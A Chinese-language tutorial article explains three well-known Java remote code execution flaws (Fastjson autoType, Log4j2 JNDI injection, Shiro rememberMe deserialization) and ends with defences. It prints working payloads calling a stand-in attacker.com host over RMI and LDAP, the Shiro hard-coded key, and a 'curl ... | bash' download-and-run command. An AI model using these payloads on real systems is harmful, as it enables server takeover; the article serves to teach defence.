Java远程代码执行案例

wen java案例 2

本文目录导读:

Java远程代码执行案例

  1. 核心概念:Java RCE的常见触发点
  2. 经典案例一:Fastjson反序列化RCE
  3. 经典案例二:Log4j2 JNDI注入RCE(CVE-2021-44228)
  4. 经典案例三:Shiro反序列化RCE(Apache Shiro 1.2.4)

这是一个关于Java远程代码执行(RCE)案例的详细分析,RCE漏洞是Java安全中最严重的漏洞类型之一,攻击者可以利用它直接在服务器上执行任意命令。

本文将介绍几个经典的Java RCE案例,分析其原理,并提供防御措施。


核心概念:Java RCE的常见触发点

Java RCE通常发生在以下几个环节,攻击者能够将恶意输入(序列化数据、表达式、模板代码等)注入到Java的某些敏感API中:

  1. 反序列化:最经典、影响最广的方式,Java对象序列化后,在反序列化时,如果类路径中存在特定的“Gadget链”(一系列可利用的类),攻击者可以构造恶意序列化数据,触发任意代码执行。
  2. 表达式注入:如使用 ScriptEngine(Nashorn, JavaScript等)、EL 表达式、OGNL 表达式等,如果对用户输入未加限制,可直接执行代码。
  3. 模板注入:使用FreeMarkerVelocity等模板引擎时,如果用户能控制模板内容或部分参数,可注入恶意指令。
  4. 反序列化/类型混淆:如Fastjson、Jackson等JSON库在反序列化时,如果开启了autoType或类似功能,攻击者可以指定任意类进行实例化,导致RCE。
  5. JNDI注入:通常与反序列化结合使用,通过控制JNDI(Java命名和目录接口)查询的地址,指向攻击者控制的恶意RMI/LDAP服务器,加载远程恶意类。

经典案例一:Fastjson反序列化RCE

Fastjson是一个广泛使用的Java JSON库,其RCE漏洞是近年来影响最大的安全事件之一。

  • 漏洞编号:多种,Fastjson 1.2.24 及之前的版本。

  • 原理

    1. Fastjson 在反序列化JSON字符串时,支持指定 @type 字段。
    2. @type 指定的类存在于目标应用类路径中,且该类实现了特定的Gadget链(如JdbcRowSetImpl)时,Fastjson 会尝试创建该类的实例。
    3. JdbcRowSetImplsetAutoCommit 方法会触发JNDI查询。
    4. 攻击者可以控制JNDI查询的地址(通过JSON中的dataSourceName字段),指向一个恶意的RMI服务器。
    5. 恶意RMI服务器返回一个远程引用,指向攻击者控制的恶意类。
    6. 目标应用从远程加载并执行该恶意类,导致RCE。
  • 攻击步骤示例

    1. 攻击者在外部启动一个恶意的RMI服务器,监听某个端口(如1099)。
    2. 修改RMI服务器,使其在接收到客户端的JNDI查询时,返回一个远程类引用,该类中包含执行系统命令的代码(如Runtime.getRuntime().exec())。
    3. 构造恶意JSON:
      {
          "name": {
              "@type": "com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName": "rmi://attacker.com:1099/evil",
              "autoCommit": true
          }
      }
    4. 将这个JSON发送给目标服务(通过HTTP请求、消息队列等方式)。
    5. 目标Fastjson处理该JSON,创建 JdbcRowSetImpl 对象,连接攻击者的RMI服务器,下载并执行恶意类。
  • 影响:允许攻击者在目标服务器上执行任意系统命令。


经典案例二:Log4j2 JNDI注入RCE(CVE-2021-44228)

虽然Log4j不是一个RCE漏洞的直接触发点,但它作为一个日志框架,允许日志消息中包含JNDI查询,从而间接导致了当时最严重的RCE漏洞之一。

  • 漏洞编号:CVE-2021-44228。

  • 原理

    1. Log4j2 支持 Lookup 机制,可以在日志消息中使用 语法,${java:version}${env:HOME}
    2. 关键的是,它支持 ${jndi:ldap://...} 这种格式,允许进行JNDI查询。
    3. 当应用记录用户可控的输入(如HTTP请求的User-AgentX-Forwarded-For等header)时,如果该输入中包含 ${jndi:ldap://attacker.com/evil},Log4j2 会尝试去执行这个JNDI查询。
    4. 攻击者控制一个恶意的LDAP服务器,响应这个查询,返回一个指向攻击者控制的远程Java类的引用。
    5. 目标应用从远程加载并执行这个恶意类,导致RCE。
  • 攻击步骤

    1. 攻击者搭建一个恶意LDAP服务器,监听端口(如1389)。
    2. 构造恶意字符串,User-Agent: ${jndi:ldap://attacker.com:1389/evil}
    3. 将该HTTP请求发送给目标服务。
    4. 目标应用的Log4j2记录了这个User-Agent,尝试解析 ${jndi:...}
    5. Log4j2 向攻击者的LDAP服务器发起JNDI查询。
    6. LDAP服务器返回一个远程类加载地址。
    7. 目标应用加载并执行恶意类。
    8. 注意:这里攻击者不仅限于HTTP header,任何能被Log4j2记录且包含用户输入的字段(如请求参数、表单数据、JSON内容)都是攻击面。
  • 影响:全球范围内大量使用Log4j2的应用遭受影响,从企业级应用到云服务。


经典案例三:Shiro反序列化RCE(Apache Shiro 1.2.4)

Apache Shiro是一个流行的Java安全框架,其早期的某些版本存在一个经典的反序列化漏洞。

  • 漏洞编号:CVE-2016-4437。

  • 原理

    1. Shiro 使用 AES-128-CBC 加密算法对 rememberMe Cookie 进行加密。
    2. 加密密钥是硬编码在代码中的(可以从Shiro的类库中获取,甚至在某些公开的版本中是已知的,如 kPH+bIxk5D2deZiIxcaaaA==)。
    3. 解密后的 rememberMe 值是一个Java序列化对象。
    4. Shiro 在解密后,会直接对这个序列化数据进行反序列化操作。
    5. 攻击者知道了硬编码密钥,就可以构造一个恶意的序列化对象(包含了攻击者想要执行的恶意命令)。
    6. 攻击者将这个恶意序列化对象加密,设置到 rememberMe Cookie中发送给服务器。
    7. Shiro 解密Cookie,然后反序列化,触发Gadget链,执行攻击者的命令。
  • 攻击步骤

    1. 攻击者获取Shiro应用的硬编码密钥(通过信息收集或已知默认密钥)。
    2. 攻击者利用工具(如ysoserial)生成一个包含恶意命令的Java序列化对象,例如执行 curl http://attacker.com/evil.sh | bash
    3. 攻击者使用硬编码密钥对生成的序列化数据进行AES加密。
    4. 将加密后的数据设置为HTTP请求的rememberMe Cookie。
    5. 发送请求给目标Shiro应用。
    6. Shiro 解密Cookie,然后反序列化,执行恶意命令。
  • 影响:允许攻击者在Shiro应用所在的服务器上执行任意命令。


防御Java RCE需要多管齐下:

  1. 防止反序列化漏洞

    • 升级依赖:保持所有依赖库(Fastjson、Jackson、Shiro、Log4j2等)更新到最新版本。
    • 输入验证:严格验证用户输入,避免将用户输入直接传递给反序列化函数,绝对不要反序列化来自不可信源的数据。
    • 禁用危险功能:在Fastjson中禁用autoType,或使用白名单;在Log4j2中禁用JNDI Lookup(通过设置log4j2.formatMsgNoLookups=true)。
  2. 防止表达式/模板注入

    • 沙箱执行:如果必须执行用户提供的表达式或模板,使用严格的沙箱环境(如Java的SecurityManager,但实际应用较少)。
    • 输入过滤:对用户输入进行严格的过滤,过滤掉可能导致代码执行的语法(如、T(...)等)。
    • 避免用户控制模板:不要允许用户直接定义模板,只允许用户提供模板参数。
  3. 防止JNDI注入

    • 升级JDK:升级到高版本JDK(JDK 8u121+、JDK 11.0.1+等),这些版本默认限制了通过JNDI加载远程类。
    • 禁用JNDI Lookup:在Log4j2等受影响框架中,显式禁用JNDI Lookup功能。
    • 网络隔离:限制应用服务器的出站网络连接,使其只能访问受信任的DNS和特定的外部服务。
  4. 通用安全实践

    • 最小权限原则:运行Java应用的进程尽量使用低权限用户,避免以root/管理员身份运行。
    • Web应用防火墙(WAF):使用WAF检测并拦截常见的攻击载荷(如JSON中的@type、Log4j2的${jndi:...}、Shiro的AES加密Cookie等)。
    • 代码审计:对核心的序列化、反序列化、表达式执行、模板渲染代码进行安全审计。
    • 安全测试:定期进行渗透测试和漏洞扫描。

Java RCE漏洞虽然种类繁多,但其根本原因往往是不安全的依赖、输入验证不严或对用户输入施加了过多的信任,通过理解这些经典案例的原理和攻击步骤,开发者可以更有针对性地实施防御措施,有效降低应用遭受RCE攻击的风险。

抱歉,评论功能暂时关闭!